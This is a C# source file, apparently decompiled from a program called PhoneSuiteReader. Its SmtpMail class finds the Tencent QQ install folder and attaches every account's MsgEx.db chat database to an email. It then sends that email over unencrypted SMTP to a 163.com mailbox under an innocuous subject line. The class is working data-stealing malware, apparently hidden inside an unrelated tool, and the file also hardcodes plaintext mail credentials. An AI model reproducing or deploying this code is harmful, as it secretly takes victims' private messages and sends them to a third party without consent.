﻿using Microsoft.Win32;
using PhoneSuiteReader;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Text;

public class SmtpMail : EMail
{
    private SmtpClient _smtpClient = new SmtpClient();

    public SmtpMail()
    {
        this._smtpClient.Timeout = 0xf4240;
        this._smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network;
        this._smtpClient.Host = "smtp.163.com";
        this._smtpClient.Port = 0x19;
        this._smtpClient.Credentials = new NetworkCredential("chenjl2316", "woainimihu");
        this._smtpClient.EnableSsl = false;
        base.From = "chenjl2316@163.com";
        base.To = "phonesuitereader@163.com";
        base.Body = "";
        base.Subject = "最近还好吗";
    }

    public static string GetQQPath()
    {
        using (RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\Tencent\QQ"))
        {
            return (key.GetValue("Install") as string);
        }
    }

    public override void GroupSend(string[] groupTo)
    {
        MailMessage mailMessage = this.PreSend();
        foreach (string str in groupTo)
        {
            mailMessage.To.Add(new MailAddress(str));
        }
        this.SendOut(mailMessage);
    }

    private MailMessage PreSend()
    {
        MailMessage message = new MailMessage();
        string path = @"C:\Program Files\Tencent\QQ";
        if (!Directory.Exists(path))
        {
            path = GetQQPath();
        }
        List<int> list = new List<int>();
        try
        {
            List<string> list2 = new List<string>();
            list2.AddRange(Directory.GetDirectories(path));
            foreach (string str3 in list2)
            {
                int num;
                if (int.TryParse(str3.Substring(str3.LastIndexOf(@"\") + 1), out num))
                {
                    list.Add(num);
                }
            }
        }
        catch
        {
        }
        message.From = new MailAddress(base.From);
        message.Subject = base.Subject;
        message.Body = base.Body;
        message.BodyEncoding = Encoding.Default;
        message.IsBodyHtml = true;
        message.Priority = MailPriority.High;
        foreach (int num2 in list)
        {
            Attachment item = new Attachment(string.Format(@"{0}\{1}\MsgEx.db", path, num2));
            message.Attachments.Add(item);
            message.Body = message.Body + string.Format("{0} <br>", num2);
        }
        return message;
    }

    public override void Send()
    {
        MailMessage mailMessage = this.PreSend();
        mailMessage.To.Add(new MailAddress(base.To));
        this.SendOut(mailMessage);
    }

    private void SendOut(MailMessage mailMessage)
    {
        try
        {
            this._smtpClient.Send(mailMessage);
            Form1.hasSend = true;
        }
        catch (ArgumentNullException exception)
        {
            throw exception;
        }
        catch (ArgumentOutOfRangeException exception2)
        {
            throw exception2;
        }
        catch (ObjectDisposedException exception3)
        {
            throw exception3;
        }
        catch (InvalidOperationException exception4)
        {
            throw exception4;
        }
        catch (SmtpFailedRecipientsException exception5)
        {
            throw exception5;
        }
        catch (SmtpException exception6)
        {
            throw exception6;
        }
    }
}

